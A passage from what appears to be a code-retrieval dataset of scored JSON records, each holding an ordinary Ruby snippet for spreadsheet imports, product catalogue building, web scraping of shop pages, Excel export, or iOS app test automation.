break\n end\n top10 += 1\n end\n rescue\n puts 'No product Found'\n end\nend", "title": "" }, { "docid": "b19fed1279dad0003b469058b366645d", "score": "0.4955091", "text": "def create\n file = Roo::Spreadsheet.open(user_information_params['picture'])\n products_sheet = file.sheet(file.sheets.first)\n # row = products_sheet.row(2)\n (2..products_sheet.count).each do |index|\n row = products_sheet.row(index)\n user_id = row[3]#User.where(student_id: row[3])[0].try(:id)\n next unless user_id\n data = {'residentschoolcode'=>row[0], 'stateid'=>row[1], 'districtentrydate'=>row[2], 'user_id'=> user_id,\n 'suffix'=>row[4], 'dateofbirth'=>row[5], 'studentgradelevel'=>row[6], 'residencystatus'=>row[7],\n 'entrydate'=>row[8], 'entrycode'=>row[9], 'exitdate'=>row[10], 'exitcode'=>row[11],\n 'exitdestdistrictcode'=>row[12], 'exitdestschoolcode'=>row[13], 'exitdestcomment'=>row[14],\n 'wk1att'=>row[15], 'wk1abs'=>row[16], 'wk1total'=>row[17], 'wk1average'=>row[18], 'wk2att'=>row[19],\n 'wk2abs'=>row[20], 'wk2total'=>row[21], 'wk2average'=>row[22], 'wk2avatt'=>row[23], 'wk3att'=>row[24],\n 'wk3abs'=>row[25], 'wk3total'=>row[26], 'wk3average'=>row[27], 'wk3attav'=>row[28], 'wk4att'=>row[29],\n 'wk4abs'=>row[30], 'wk4total'=>row[31], 'wk4average'=>row[32], 'wk4attav'=>row[33], 'wk5att'=>row[34],\n 'wk5abs'=>row[35], 'wk5total'=>row[36], 'wk5average'=>row[37], 'wk5attav'=>row[38], 'wk6att'=>row[39],\n 'wk6abs'=>row[40], 'wk6total'=>row[41], 'wk6average'=>row[42], 'wk6attav'=>row[43], 'wk7att'=>row[44],\n 'wk7abs'=>row[45], 'wk7total'=>row[46], 'wk7average'=>row[47], 'wk7attav'=>row[48], 'wk8att'=>row[49],\n 'wk8abs'=>row[50], 'wk8total'=>row[51], 'wk8average'=>row[52], 'wk8attav'=>row[53], 'wk9att'=>row[54],\n 'wk9abs'=>row[55], 'wk9total'=>row[56], 'wk9average'=>row[57], 'wk9attav'=>row[58], 'wk10att'=>row[59],\n 'wk10abs'=>row[60], 'wk10total'=>row[61], 'wk10average'=>row[62], 'wk10attav'=>row[63], 'wk11att'=>row[64],\n 'wk11abs'=>row[65], 'wk11total'=>row[66], 'wk11average'=>row[67], 'wk11attav'=>row[68], 'wk12att'=>row[69],\n 'wk12abs'=>row[70], 'wk12total'=>row[71], 'wk12average'=>row[72], 'wk12attav'=>row[73], 'wk13att'=>row[74],\n 'wk13abs'=>row[75], 'wk13total'=>row[76], 'wk13average'=>row[77], 'wk13attav'=>row[78], 'wk14att'=>row[79],\n 'wk14abs'=>row[80], 'wk14total'=>row[81], 'wk14average'=>row[82], 'wk14attav'=>row[83], 'wk15att'=>row[84],\n 'wk15abs'=>row[85], 'wk15total'=>row[86], 'wk15average'=>row[87], 'wk15attav'=>row[88], 'wk16att'=>row[89],\n 'wk16abs'=>row[90], 'wk16total'=>row[91], 'wk16average'=>row[92], 'wk16attav'=>row[93], 'wk17att'=>row[94],\n 'wk17abs'=>row[95], 'wk17total'=>row[96], 'wk17average'=>row[97], 'wk17attav'=>row[98], 'wk18att'=>row[99],\n 'wk18abs'=>row[100], 'wk18total'=>row[101], 'wk18average'=>row[102], 'wk18attav'=>row[103],\n 'wk19att'=>row[104], 'wk19abs'=>row[105], 'wk19total'=>row[106], 'wk19average'=>row[107],\n 'wk19attav'=>row[108], 'wk20att'=>row[109], 'wk20abs'=>row[110], 'wk20total'=>row[111],\n 'wk20average'=>row[112], 'wk20attav'=>row[113], 'wk21att'=>row[114], 'wk21abs'=>row[115],\n 'wk21total'=>row[116], 'wk21average'=>row[117], 'wk21attav'=>row[118], 'wk22att'=>row[119],\n 'wk22abs'=>row[120], 'wk22total'=>row[121], 'wk22average'=>row[122], 'wk22attav'=>row[123],\n 'wk23att'=>row[124], 'wk23abs'=>row[125], 'wk23total'=>row[126], 'wk23average'=>row[127],\n 'wk23attav'=>row[128], 'wk24att'=>row[129], 'wk24abs'=>row[130], 'wk24total'=>row[131],\n 'wk24average'=>row[132], 'wk24attav'=>row[133], 'wk25att'=>row[134], 'wk25abs'=>row[135],\n 'wk25total'=>row[136], 'wk25average'=>row[137], 'wk25attav'=>row[138], 'wk26att'=>row[139],\n 'wk26abs'=>row[140], 'wk26total'=>row[141], 'wk26average'=>row[142], 'wk26attav'=>row[143],\n 'wk27att'=>row[144], 'wk27abs'=>row[145], 'wk27total'=>row[146], 'wk27average'=>row[147],\n 'wk27attav'=>row[148], 'wk28att'=>row[149], 'wk28abs'=>row[150], 'wk28total'=>row[151],\n 'wk28average'=>row[152], 'wk28attav'=>row[153], 'wk29att'=>row[154], 'wk29abs'=>row[155],\n 'wk29total'=>row[156], 'wk29average'=>row[157], 'wk29attav'=>row[158], 'wk30att'=>row[159],\n 'wk30abs'=>row[160], 'wk30total'=>row[161], 'wk30average'=>row[162], 'wk30attav'=>row[163],\n 'achievement'=> row[164]}\n @user_information = UserInformation.find_or_initialize_by(user_id: user_id)\n @user_information.assign_attributes(data)\n @user_information.save!\n end\n \n respond_to do |format|\n # if @user_information.save\n format.html { redirect_to user_informations_path, notice: 'Data was successfully imported.' }\n format.json { render :show, status: :created, location: @user_information }\n # else\n # format.html { render :new }\n # format.json { render json: @user_information.errors, status: :unprocessable_entity }\n # end\n end\n end", "title": "" }, { "docid": "44d475f5c04a4afc01808713bc3b3c3d", "score": "0.49402076", "text": "def getStockSKUDisponible(sku)\n\n\t\tintermedio = JSON.parse(getAlmacenes).select {|h1| h1['despacho'] == false && h1['pulmon'] == false && h1['recepcion'] == false }\n\t\t\n\t\t## Revisamos la bodega grande\n almacenGrande = intermedio.max_by { |quote| quote[\"totalSpace\"].to_f }[\"_id\"]\n\n\t\tinventario = JSON.parse(getSKUWithStock(almacenGrande))\n \tcantidadJSON = inventario.find { |h1| h1[\"_id\"] == sku }\n \tcantidad = 0\n\n\t\t## Sumamos la cantidad que corresponde\n \tif cantidadJSON != nil\n \t #puts \" cantidad almacen grande \" + cantidadJSON[\"total\"]\n \t cantidad = cantidad + cantidadJSON[\"total\"]\n \tend\n\n\t\t## Revisamos la bodega chica\n\t\t#almacenChico = intermedio.min_by { |quote| quote[\"totalSpace\"].to_f }[\"_id\"]\n\n \t#inventario1 = JSON.parse(getSKUWithStock(almacenChico))\n \t#cantidadJSON1 = inventario1.find { |h1| h1[\"_id\"] == sku }\n\n \t#inventario1 = JSON.parse(getSKUWithStock(almacenChico))\n \t#cantidadJSON1 = inventario1.find { |h1| h1[\"_id\"] == sku }\n\n\t\t## Sumamos la cantidad que corresponde\n\t\t#if cantidadJSON1 != nil\n \t \t# cantidad = cantidad + cantidadJSON1[\"total\"]\n \t#end\n\n\t\t## Restamos lo ya reservado\n\t\tskuDB = Sku.find_by(sku: sku)\n\t\tcantidad = cantidad - skuDB[\"reservado\"]\n\n\t\tputs \" cantidad disponible: \" + cantidad.to_s\n\t\treturn cantidad\n\tend", "title": "" }, { "docid": "3a8e0c6621649fb80e20561d1350d5fc", "score": "0.49382815", "text": "def process_filename(request)\n require 'spreadsheet'\n # pass an IO object to Spreadsheet.open\n # this works 100% of the time\n # spreadsheet = Spreadsheet.open \"#{Rails.root}/public/EJStoreLocator1updated.xls\"\n\n open \"#{Dragonfly[:refinery_resources].remote_url_for(self.attached_file.file_uid)}\" do |f|\n spreadsheet = Spreadsheet.open f\n end\n\n first_worksheet = spreadsheet.worksheet 0\n first_worksheet.each(5) do |row|\n next if row.compact.reject(&:blank?).empty? || row[0] == 'ECOMMERCE'\n location = Location.new do |l|\n l.name = row[0]\n l.address = row[1]\n l.city = row[2]\n l.state_or_province = row[3]\n l.zip = row[4]\n l.country = row[5]\n l.phone = row[6]\n l.website = row[7]\n l.online = !has_an_address(row)\n l.women = (row[8] ? true : false)\n l.handbags = (row[9] ? true : false)\n l.shoes = (row[10] ? true : false)\n l.eyewear = (row[11] ? true : false)\n l.jewelry = (row[12] ? true : false)\n l.textile = (row[13] ? true : false) \n end\n # location.save!\n end\n rescue Exception => e \n Rails.logger.error(\"Error processing import #{self.id}: #{e.message}\")\n Rails.logger.error(\"Inspected Error: #{e.inspect}\")\n end", "title": "" }, { "docid": "97066f4ca46826cce406f3aa07e62297", "score": "0.49381188", "text": "def build_skus(product, vtex_product_id)\n skus = (product['variants'] || []).map do |item|\n hash = {\n 'vtex:CommercialConditionId' => nil,\n 'vtex:CostPrice' => item['cost_price'],\n 'vtex:CubicWeight' => 0.02,\n 'vtex:DateUpdated' => nil,\n 'vtex:EstimatedDateArrival' => nil,\n 'vtex:Height' => 0.02,\n 'vtex:InternalNote' => nil,\n 'vtex:IsActive' => true,\n 'vtex:IsAvaiable' => nil,\n 'vtex:IsKit' => false,\n 'vtex:Length' => 0.02,\n 'vtex:ListPrice' => item['price'],\n 'vtex:ManufacturerCode' => nil,\n 'vtex:MeasurementUnit' => nil,\n 'vtex:ModalId' => (item.has_key?('options') && item['options']['size']=='S' ? 1 : 2),\n 'vtex:ModalType' => nil,\n 'vtex:Name' => product['name'],\n 'vtex:Price' => item['price'],\n 'vtex:ProductId' => vtex_product_id,\n 'vtex:ProductName' => product['name'],\n 'vtex:RealHeight' => nil,\n 'vtex:RealLength' => nil,\n 'vtex:RealWeightKg' => nil,\n 'vtex:RealWidth' => nil,\n 'vtex:RefId' => item['sku'],\n 'vtex:RewardValue' => nil,\n 'vtex:StockKeepingUnitEans' => nil,\n 'vtex:UnitMultiplier' => nil,\n 'vtex:WeightKg' => 0.02,\n 'vtex:Width' => 0.02\n }\n\n if item['abacos'] && item['abacos']['codigo_barras']\n hash['vtex:StockKeepingUnitEans'] = {\n 'vtex:StockKeepingUnitEanDTO' => {\n 'vtex:Ean' => item['abacos']['codigo_barras']\n }\n }\n end\n\n hash\n end\n\n master_product = {\n 'vtex:CommercialConditionId' => nil,\n 'vtex:CostPrice' => product['cost_price'],\n 'vtex:CubicWeight' => product['weight'],\n 'vtex:DateUpdated' => nil,\n 'vtex:EstimatedDateArrival' => nil,\n 'vtex:Height' => product['height'],\n 'vtex:InternalNote' => nil,\n 'vtex:IsActive' => true,\n 'vtex:IsAvaiable' => nil,\n 'vtex:IsKit' => false,\n 'vtex:Length' => product['height'],\n 'vtex:ListPrice' => product['price'],\n 'vtex:ManufacturerCode' => nil,\n 'vtex:MeasurementUnit' => nil,\n 'vtex:ModalId' => 1, #TODO figure out how to calculate the correct size for this product\n 'vtex:ModalType' => nil,\n 'vtex:Name' => product['name'],\n 'vtex:Price' => product['price'],\n 'vtex:ProductId' => vtex_product_id,\n 'vtex:ProductName' => product['name'],\n 'vtex:RealHeight' => nil,\n 'vtex:RealLength' => nil,\n 'vtex:RealWeightKg' => nil,\n 'vtex:RealWidth' => nil,\n 'vtex:RefId' => product['id'],\n 'vtex:RewardValue' => nil,\n 'vtex:StockKeepingUnitEans' => nil,\n 'vtex:UnitMultiplier' => nil,\n 'vtex:WeightKg' => product['weight'],\n 'vtex:Width' => product['width']\n }\n\n if product['abacos'] && product['abacos']['codigo_barras']\n master_product['vtex:StockKeepingUnitEans'] = {\n 'vtex:StockKeepingUnitEanDTO' => {\n 'vtex:Ean' => product['abacos']['codigo_barras']\n }\n }\n end\n\n skus << master_product\n skus\n end", "title": "" }, { "docid": "2a921a10e66a94c822b8c94f68005561", "score": "0.4932651", "text": "def load_file full_name\n file = CSV.open( full_name , { :col_sep => \",\"} ) \n @header = file.shift\n @data = file.readlines\n #puts @header\n @header.each do |col|\n puts \"col=#{col}= mapped to =#{@mapping[col]}=\"\n end\n index = 0\n while index < @data.length\n row = @data[index]\n #puts \"row is \" + row.join(\"--\")\n @mapping.each do |key,val|\n #puts \"Row:#{val} at #{@mapping.index(val)} is --#{@header.index(@mapping.index(val))}--value---\"\n #puts \"--#{at_in(val,row)}--\" if @header.index(@mapping.index(val))\n end\n prod = get_product(row)\n set_attributes_and_image( prod , row )\n set_destroy(prod,row)\n \n #puts \"saving -\" + prod.description + \"- at \" + at_in(:price,row) #if at_in(:price,row) == \"0\"\n prod.save!\n throw \"No master for #{prod.name}\" if prod.master == nil \n #@audit_log.error \"No master for #{prod.name}\" if prod.master == nil \n \n puts \"Saved: \" + prod.sku + \" - \" + prod.name # + \" - at \" + at_in(:price,row) #if at_in(:price,row) == \"0\"\n #@audit_log.info \"Saved product: #{prod.sku}\"\n #Check for variants\n \n\t index = slurp_variants(prod , index + 1) #read variants if there are, returning the last read line\n\t \n end\n\n end", "title": "" }, { "docid": "018772028a9477b54fa70ed7b9224c98", "score": "0.4928053", "text": "def process_product(catalog_name)\n product = nil\n try do\n #get the product name\n product_name = catalog_name_filter(agent.page.at(elements[\"product_name\"]).try(:content))\n #there exists a product\n unless product_name.blank?\n #according to the name, either find the product from database or initialize a new one\n product = Product.find_or_initialize_by(name: product_name)\n #try to find the vendor\n if name == I18n.t(\"third_party.taobao\")\n @taobao ||= Mall.first(conditions: {name: I18n.t(\"third_party.taobao\")})\n\n if elements[\"product_vendor\"].present?\n arr = elements[\"product_vendor\"]\n arr.each do |selector|\n nick = agent.page.at(selector).try(:content)\n if nick\n vendor = Vendor.find_or_initialize_by(name: nick, mall_id: @taobao.id)\n if vendor.new_record?\n vendor.save!\n end\n #set the vendor\n product.vendor = vendor\n break\n end\n end\n end\n else\n product.vendor = Vendor.first(conditions: {name: self.name})\n end\n #record the product's ulr\n product.url = handle_url(agent.page.uri.to_s)\n #record the product's price\n if elements[\"product_price\"].present?\n product_price = agent.page.at(elements[\"product_price\"]).try(:content)\n #delete the symbols of price\n if product_price.present?\n money_symbols = [I18n.t(\"money.yuan_mark1\"), I18n.t(\"money.yuan\"), I18n.t(\"money.yuan_mark2\")].join\n product_price = product_price.gsub(/[#{money_symbols}]/, '').strip\n product.price = product_price.to_f\n else\n log \"No Price is Found!\"\n end\n end\n\n #get the product's image\n get_image(product)\n\n #initialize the tags of product\n product.tags=[]\n #get the tag\n product.tags = seg_word(product_name)\n\n product.catalogs = []\n #set the product catalog\n get_product_catalog(catalog_name, product) if catalog_name.present?\n\n #record the product\n if product.new_record?\n if product.valid?\n #everything is ok, save the new object to DB\n product.save!\n #calculate the product amount\n @@product_count+=1\n log \"Insert #{product.name} of tag: #{product.tags} of Catalogs: #{product.catalogs.each { |cat| p cat.name }} from #{product.url}\"\n else\n #somethings goes wrong\n log \"Invalid #{product.errors.to_s} of #{product.url}\"\n end\n else\n if product.changed?\n #update the change\n product.save!\n log \"Update: #{product.name} of tag: #{product.tags} of Catalogs: #{product.catalogs.each { |cat| p cat.name }} from #{product.url}\"\n end\n end\n else\n log \"Cannot get the product name at: #{agent.page.uri.to_s}\"\n end\n\n end\n\n product\n end", "title": "" }, { "docid": "c9f26e507ed1a91d0bba613d1dba5b7d", "score": "0.49276355", "text": "def download_excel\n\n workbook = WriteExcel.new(\"#{Rails.public_path}/excel/agusta_inquiry/agusta_inquiry_details.xls\")\n worksheet = workbook.add_worksheet\n format = workbook.add_format\n format.set_bold\n format.set_color('black')\n format.set_align('left')\n format.set_font('Trebuchet MS')\n format.set_size(11)\n time = (Time.now + 1.day).beginning_of_day\n from_date = ( time - params[:date_range].to_i.days).strftime(\"%m/%d/%Y\") rescue \"\"\n to_date = Time.now.strftime(\"%m/%d/%Y\") rescue \"\"\n\n input_data = {\n custNo: session[:customer_number],\n searchBy: params[:search_by_select_value],\n searchVal: params[:search_val],\n ordFromDate: from_date,\n ordToDate: to_date,\n createdBy: params[:user_name],\n inOrderStatus: params[:order_status],\n orderInputSource: params[:order_source],\n page: \"\",\n lpp: \"\"\n }\n\n @inquiry_details = invoke_webservice method: 'post', action: 'orderInquiry', data: input_data\n @row_value = 0\n # create a table in xls file\n worksheet.set_column(0, 1, 20)\n worksheet.set_column(0, 2, 20)\n worksheet.set_column(0, 3, 20)\n worksheet.set_column(0, 4, 20)\n worksheet.set_column(0, 6, 20)\n worksheet.set_column(0, 7, 20)\n worksheet.set_column(0, 8, 20)\n worksheet.set_column(0, 9, 20)\n worksheet.set_column(0, 10, 20)\n worksheet.set_column(0, 11, 20)\n worksheet.set_column(0, 12, 20)\n worksheet.set_column(0, 13, 20)\n worksheet.set_column(0, 16, 20)\n worksheet.set_column(0, 17, 20)\n worksheet.set_column(0, 18, 20)\n worksheet.set_column(0, 19, 20)\n worksheet.set_column(0, 20, 20)\n worksheet.set_column(0, 21, 20)\n worksheet.set_column(0, 22, 20)\n worksheet.set_column(0, 23, 20)\n worksheet.set_column(0, 24, 20)\n worksheet.set_column(0, 25, 20)\n\n worksheet.write(@row_value+1, 0, I18n.translate('agusta.customer_name'), format)\n worksheet.set_column(@row_value, 0, 40)\n worksheet.write(@row_value+1, 1, I18n.translate('agusta.be_order'), format)\n worksheet.write(@row_value+1, 2, I18n.translate('agusta.order_line'), format)\n worksheet.write(@row_value+1, 3, I18n.translate('agusta.parent_part_number'), format)\n worksheet.write(@row_value+1, 4, I18n.translate('agusta.part_number'), format)\n worksheet.write(@row_value+1, 5, I18n.translate('agusta.customer_part_number'), format)\n worksheet.set_column(5, 0, 30)\n worksheet.write(@row_value+1, 6, I18n.translate('agusta.order_status'), format)\n worksheet.write(@row_value+1, 7, I18n.translate('agusta.order_qty'), format)\n worksheet.write(@row_value+1, 8, I18n.translate('agusta.ship_status'), format)\n worksheet.write(@row_value+1, 9, I18n.translate('agusta.ship_qty'), format)\n worksheet.write(@row_value+1, 10, I18n.translate('agusta.ship_date'), format)\n worksheet.write(@row_value+1, 11, I18n.translate('agusta.ship_time'), format)\n worksheet.write(@row_value+1, 12, I18n.translate('agusta.carrier_name'), format)\n worksheet.write(@row_value+1, 13, I18n.translate('agusta.customer_order'), format)\n worksheet.write(@row_value+1, 14, I18n.translate('agusta.customer_order_line'), format)\n worksheet.set_column(14, 0, 30)\n worksheet.write(@row_value+1, 15, I18n.translate('agusta.build_assembly_program'), format)\n worksheet.set_column(15, 0, 30)\n worksheet.write(@row_value+1, 16, I18n.translate('agusta.station'), format)\n worksheet.write(@row_value+1, 17, I18n.translate('agusta.date_required'), format)\n worksheet.write(@row_value+1, 18, I18n.translate('agusta.time_required'), format)\n worksheet.write(@row_value+1, 19, I18n.translate('agusta.order_date'), format)\n worksheet.write(@row_value+1, 20, I18n.translate('agusta.order_time'), format)\n worksheet.write(@row_value+1, 21, I18n.translate('agusta.requester'), format)\n worksheet.write(@row_value+1, 22, I18n.translate('agusta.operation'), format)\n worksheet.write(@row_value+1, 23, I18n.translate('agusta.reason'), format)\n worksheet.write(@row_value+1, 24,I18n.translate('agusta.remarks'), format)\n worksheet.write(@row_value+1, 25,I18n.translate('agusta.scan_code'), format)\n\n (0..@inquiry_details[\"kitPartNo\"].length-1).each do |i|\n worksheet.write(@row_value+2+i, 0, @inquiry_details[\"custName\"][i])\n worksheet.write(@row_value+2+i, 1, @inquiry_details[\"requestIdList\"][i])\n worksheet.write(@row_value+2+i, 2, @inquiry_details[\"orderNoList\"][i])\n worksheet.write(@row_value+2+i, 3, @inquiry_details[\"kitPartNo\"][i])\n worksheet.write(@row_value+2+i, 4, @inquiry_details[\"primePns\"][i])\n worksheet.write(@row_value+2+i, 5, @inquiry_details[\"custRefPns\"][i])\n worksheet.write(@row_value+2+i, 6, @inquiry_details[\"orderStatus\"][i])\n worksheet.write(@row_value+2+i, 7, @inquiry_details[\"pnOrderQty\"][i])\n worksheet.write(@row_value+2+i, 8, @inquiry_details[\"pnShipStatus\"][i])\n worksheet.write(@row_value+2+i, 9, @inquiry_details[\"pnShipQtys\"][i])\n worksheet.write(@row_value+2+i, 10, @inquiry_details[\"shipDate\"][i])\n worksheet.write(@row_value+2+i, 11, @inquiry_details[\"shipTime\"][i])\n worksheet.write(@row_value+2+i, 12, @inquiry_details[\"carrierName\"][i])\n worksheet.write(@row_value+2+i, 13, \"\")\n worksheet.write(@row_value+2+i, 14, \"\")\n worksheet.write(@row_value+2+i, 15, @inquiry_details[\"assembly\"][i])\n worksheet.write(@row_value+2+i, 16, @inquiry_details[\"stations\"][i])\n worksheet.write(@row_value+2+i, 17, @inquiry_details[\"requiredDate\"][i])\n worksheet.write(@row_value+6+i, 18, @inquiry_details[\"requiredTime\"][i])\n worksheet.write(@row_value+2+i, 19, @inquiry_details[\"orderDate\"][i])\n worksheet.write(@row_value+2+i, 20, @inquiry_details[\"orderTime\"][i])\n worksheet.write(@row_value+2+i, 21, @inquiry_details[\"requester\"][i])\n worksheet.write(@row_value+2+i, 22, @inquiry_details[\"operation\"][i])\n worksheet.write(@row_value+2+i, 23, @inquiry_details[\"reason\"][i])\n worksheet.write(@row_value+2+i,24,((@inquiry_details[\"note\"][i].present? ? @inquiry_details[\"note\"][i] : \"\" ) if @inquiry_details[\"note\"].present?))\n worksheet.write(@row_value+2+i,25,((@inquiry_details[\"deliveryScanCode\"][i].present? ? @inquiry_details[\"deliveryScanCode\"][i] : \"N/A\" ) if @inquiry_details[\"deliveryScanCode\"].present?))\n end\n workbook.close\n send_file \"#{Rails.public_path}/excel/agusta_inquiry/agusta_inquiry_details.xls\", :disposition => \"attachment\"\n end", "title": "" }, { "docid": "202223c002cec5faa0d78fc7c7e8699f", "score": "0.4912108", "text": "def prod_scraper(product, crawler)\n sup = {} \n sup[:sku] = crawler.get_attribute(product, 'parent-sku')\n sup[:link] = \"https:#{crawler.get_content('.item-card__description__product-name', product, { attrib: 'href' })}?campaign=compadi\" \n sup[:name] = crawler.get_content('.item-card__description__product-name', product) { |content| content.text.strip() }\n sup[:photo_url] = crawler.get_content('.item-card__images__image-link img', product, { attrib: 'data-src' }) \n doc = crawler.get_page(sup[:link])\n if doc \n puts \"Scrapping #{sup[:name]}\"\n sup[:price] = crawler.get_content('.default-price', doc) { |content| content.text.strip() }\n sup[:sender] = crawler.get_content('.dlvr', doc) { |content| content.text.strip() }\n sup[:flavor] = crawler.get_content('.sku-select .item a', doc) { |content| content.text.strip() }\n sup[:promo] = crawler.get_content('.badge-item', doc) { |content| content.text.strip() }\n sup[:seller] = crawler.get_content('.product__seller_name span', doc) { |content| content.text.strip() } || 'Netshoes' \n return 'delete' if out_stock?(crawler, doc)\n else\n return sup\n end\n connect_to_api(sup)\n end", "title": "" }, { "docid": "32df1feec309db27fd6a10d509523a26", "score": "0.49034798", "text": "def product_pages(sle)\n \tFile.open(\"buckle_pag.txt\", 'r') do |pag_cat|\n \t\tcat_pag_count = 0\n \t\tFile.open(\"buckle_prod.txt\", 'w+') do |u|\n \t pag_cat.each do |p_c|\n \t cat_pag_count = cat_pag_count + 1\n if cat_pag_count == 5\n \t sleep(sle)\n \t cat_pag_count = 0\n \t end\n \t url = \"http://buckle.com#{p_c}\"\n \t pag_cat_content = httparty(url)\n \t if pag_cat_content.match(/<a href\\=\\\"([^\\\"]*sku\\-[^\\\"]*)\\\"\\sclass\\=\\\"prodDetail/i)\n puts pag_cat_content.scan(/<a href\\=\\\"([^\\\"]*sku\\-[^\\\"]*)\\\"\\sclass\\=\\\"prodDetail/i)\n u.puts pag_cat_content.scan(/<a href\\=\\\"([^\\\"]*sku\\-[^\\\"]*)\\\"\\sclass\\=\\\"prodDetail/i)\n #f.puts pag_cat_content.scan(/<li style\\=\\\"font\\-size[^>]*><a href='([^\\']*)\\'/i)\n #puts pag_cat_content.scan(/<li style\\=\\\"font\\-size[^>]*><a href='([^\\']*)\\'/i)\n else\n \t puts \"The give Product Regex was wrong..Please test it and give the correct one\"\n end\n end\n end\n end\n end", "title": "" }, { "docid": "b16af26c1f3079c19c82da35815ee12d", "score": "0.48894522", "text": "def read_inspect_into_DB(spreadsheet, file_name, product_id)\n y ='A'\n offset = 10\n page_offset = 10\n last_col = spreadsheet.last_column\n page = 1\n no_more = false\n changed = false\n while !no_more do\n if read_one_page_inspect_into_DB(y, spreadsheet, file_name, product_id)\n changed = true\n end\n\n for i in 1..offset do\n y.next!\n end\n\n if col_num(y) > last_col - page_offset * (page - 1)\n no_more = true\n break\n end\n page += 1\n\n end # while\n\n return changed\n\n end", "title": "" }, { "docid": "34f0c0e947823c9593f3e627d8c7f6bf", "score": "0.48854315", "text": "def import_sheet(filename)\n puts \"Importing #{filename}\"\n Spreadsheet.open(filename).worksheets.each do |sheet|\n puts \"Processing #{sheet.name}\"\n sheet.each do |row|\n unless (row[0] == \"Destination\" or row[0].nil? or row[0]== \"\") and(\n row[2] == \"Vendor\" or row[2].nil? or row[2]== \"\" )\n cruise = GroupCruz::Cruise.new\n cruise.destination = row[0]\n puts \"Cruise Destination #{cruise.destination}\"\n cruise.date = row[1]\n cruise.vendor = row[2]\n cruise.ship = row[3]\n cruise.group_num = row[4]\n cruise.product = row[5]\n cruise.category_fares = row[6]\n cruise.amenities = row[7]\n cruise.availability = row[8]\n cruise.save\n end\n end\n end\n puts \"Import Complete\"\n end", "title": "" }, { "docid": "82d99c4c12b67c85e99b40ebe99aeb25", "score": "0.4882091", "text": "def stock_buy_sell(input_file_name)\n file = File.new(input_file_name, \"r\")\n \n num_test_cases = file.gets.to_i\n\n num_test_cases.times do\n num_days = file.gets.to_i\n prices = file.gets.split.map { |element| element.to_i }\n\n stock_buy_sell_helper(num_days, prices)\n end\n\n file.close\nend", "title": "" }, { "docid": "7240cbd112da20d027e59504024d1f29", "score": "0.4855713", "text": "def show\n @item_doc = ItemDoc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item_doc }\n\t format.any(:xls) {\n\t\t\t\t\t\t\treport = Spreadsheet::Workbook.new\n\t\t\t\t\t\t\theader = Spreadsheet::Format.new :weight=>:bold, :border=>true\n\t\t\t\t\t\t\ttable = Spreadsheet::Format.new :border=>true\n\t\t\t\t\t\t\tfooter = Spreadsheet::Format.new :weight=>:bold\n\t\t\t\t\t\t\tds = report.create_worksheet :name => 'Накладная'\n\t\t\t\t\t\t\tds.column(0).width = 50\n\t\t\t\t\t\t\tds.update_row 0, \"#{@item_doc.opcode_view} № #{@item_doc.id} от #{@item_doc.created_at.localtime}\"\n\t\t\t\t\t\t\tds.update_row 1, \"Склад:\" + unless @item_doc.stock.nil? then @item_doc.stock.name else \"\" end\n\t\t\t\t\t\t\tds.update_row 2, \"Контрагент:\" + unless @item_doc.card.nil? then @item_doc.card.full_name else \"\" end\n\t\t\t\t\t\t\t#ds.row(4).default_format = header\n\t\t\t\t\t\t\t4.times do |x| ds.row(4).set_format(x,header) end\n\t\t\t\t\t\t\tds.update_row 4, \"Товар\",\"Цена\",\"Количество\",\"Сумма\",\"\",\"\",\"created_at\",\"updated_at\"\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\ttotal = 0;\n\t\t\t\t\t\t\tnrow = 5;\n\t\t\t\t\t\t\t@item_doc.item_doc_rows.each do |r|\n\t\t\t\t\t\t\t\t4.times do |x| ds.row(nrow).set_format(x,table) end\n\t\t\t\t\t\t\t\tds.update_row nrow, r.good.name, r.price, r.quantity, r.sum,\"\",\"\",r.created_at,r.updated_at\n\t\t\t\t\t\t\t\ttotal = total+r.sum\n\t\t\t\t\t\t\t\tnrow = nrow+1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t4.times do |x| ds.row(nrow).set_format(x,footer) end\n\t\t\t\t\t\t\tds.update_row nrow,\"Итого:\",\"\",\"\",total\n\t\t\t\t\t\t\t#info.row(1).push 'User ID', @userid\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t@outfile = \"Invoice_#{@item_doc.id}.xls\"\n\n\t\t\t\t\t\t\trequire 'stringio'\n\t\t\t\t\t\t\tdata = StringIO.new ''\n\t\t\t\t\t\t\treport.write data\n\t\t\t\t\t\t\tsend_data data.string.bytes.to_a.pack(\"C*\"), :type=>\"application/excel\", :disposition=>'attachment', :filename => @outfile\n\t\t\t\t\t\n\t\t\t\t }\n end\n end", "title": "" }, { "docid": "fa950bf68e416d6505bccc58ecbff3eb", "score": "0.4849374", "text": "def ios_checkPPVorSVODorPurchased(client)\n\n\t\tbegin\n\t\t\tclient.sleep(1000)\n\t\t\tnolstitem = client.getAllValues(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.PlayingStateView' and @width>0 and ./parent::*[./parent::*[./parent::*[./parent::*[./parent::*[@class='UITableViewWrapperView']]]]]]\", \"class\")\n\t\t\tputs \"Number of playable content visible in the screen:\\n #{nolstitem}\"\n\t\t\tcnt = nolstitem.length - 1\n\t\t\tputs \"Number of contents found in the list is : #{cnt}\"\n\n\t\t\tfor i in 0..cnt\n\t\t\t\t#client.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.PlayingStateView']\", cnt, 1)\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.UNMovieItemCell']\", i, 1)\t\t\t\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tif client.isElementFound(\"NATIVE\", \"text=見放題\") || client.isElementFound(\"NATIVE\", \"text=購入済み\")\n\t\t\t\t\tputs \"::MSG:: Using already BOUGHT or SVOD content for this test\"\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UIImageView' and @height>0 and ./parent::*[@accessibilityLabel='main nav close']]\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.PlayingStateView']\", i, 1)\n\t\t\t\t\tclient.sleep(10000)\n\t\t\t\t\tHistoryPlay.new.ios_playbackCheckFromList(client)\n\t\t\t\t\tHistoryPlay.new.ios_leavingPlayer(client)\n\t\t\t\telse\n\t\t\t\t\ti = i + 1\t\t\t\t\n\t\t\t\tend\n\t\t\t\tbreak #for\n\t\t\tend #for\n\t\trescue Exception => e\n\t\t\t$errMsgHisto = \"::MSG:: Exception occurrred while 